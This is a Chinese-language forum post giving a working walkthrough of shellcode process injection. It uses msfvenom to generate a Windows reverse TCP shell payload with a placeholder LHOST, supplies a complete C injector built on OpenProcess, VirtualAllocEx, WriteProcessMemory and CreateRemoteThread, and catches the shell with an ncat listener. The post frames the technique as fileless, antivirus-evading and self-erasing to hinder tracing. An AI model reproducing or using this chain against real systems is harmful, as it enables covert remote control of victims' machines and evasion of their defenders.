浅谈msf对于shellcode动态注入-WEB安全社区-弘客官方【交流区】-弘客联盟

浅谈msf对于shellcode动态注入

Shellcode是由汇编指令转换过来的二进制机器码,当利用shellcode进行恶意木马活动时,shellcode可以实现相较于传统木马文件落地的隐匿性。

恶意shellcode动态注入进程的优点

  • 文件不落地,可以免杀

  • 一般使用的Shellcode加载器体积小,并且有很强的可移植性,可以轻易的插入到未编译的源码中

  • Shellcode加载器能够在注入Shellcode后自我销毁清除痕迹,一定程度上可以防止溯源

缺点

  • 加载在内存之中,主机重启或宿主进程关闭后Shellcode将无法继续执行,实际中需要考虑持久化处理

下面笔者利用msf做一个示例

msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=11451 -f c -b \x00\x0a\x0d

20241016202717185-image

注意:此处的-b指不允许出现的字符,x00空字符、x0a换行符、x0d终止符都会使shellcode出现问题

生成payload之后,可以用C语言来编写一个注入器

#include <stdio.h>
#include <windows.h>

//定义Shellcode变量
unsigned char buf[] = "";


int main(){
    HANDLE Handle;//声明用于存放目标进程句柄的句柄变量
    HANDLE remoteThread;//声明指向Shellcode内存的句柄变量
    PVOID remoteBuffer;//声明在目标进程中指向分配给shellcode运行的内存指针
    DWORD Pid=20452;//目标进程的PID
    //获取目标进程的句柄
    Handle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,Pid);
    //要求目标进程为Shellcode分配内存,VirtualAllocEx()函数的参数详情可翻阅官方文档
    remoteBuffer=VirtualAllocEx(Handle,NULL,sizeof(buf),(MEM_RESERVE | MEM_COMMIT),PAGE_EXECUTE_READWRITE);
    //将Shellcode写入目标进程的内存中
    WriteProcessMemory(Handle,remoteBuffer,buf,sizeof(buf),NULL);
    //在进程中创建一个线程用以运行shellcode
    remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    //关闭句柄,释放资源
    CloseHandle(Handle);
    CloseHandle(remoteThread);

    return 0;
}

然后用ncat监听11451端口

20241016202839210-image

最后运行注入器(运行以后目录下会出现一个xxx.exe),运行之后直接上线

20241016202855822-image

 

请登录后发表评论

    没有回复内容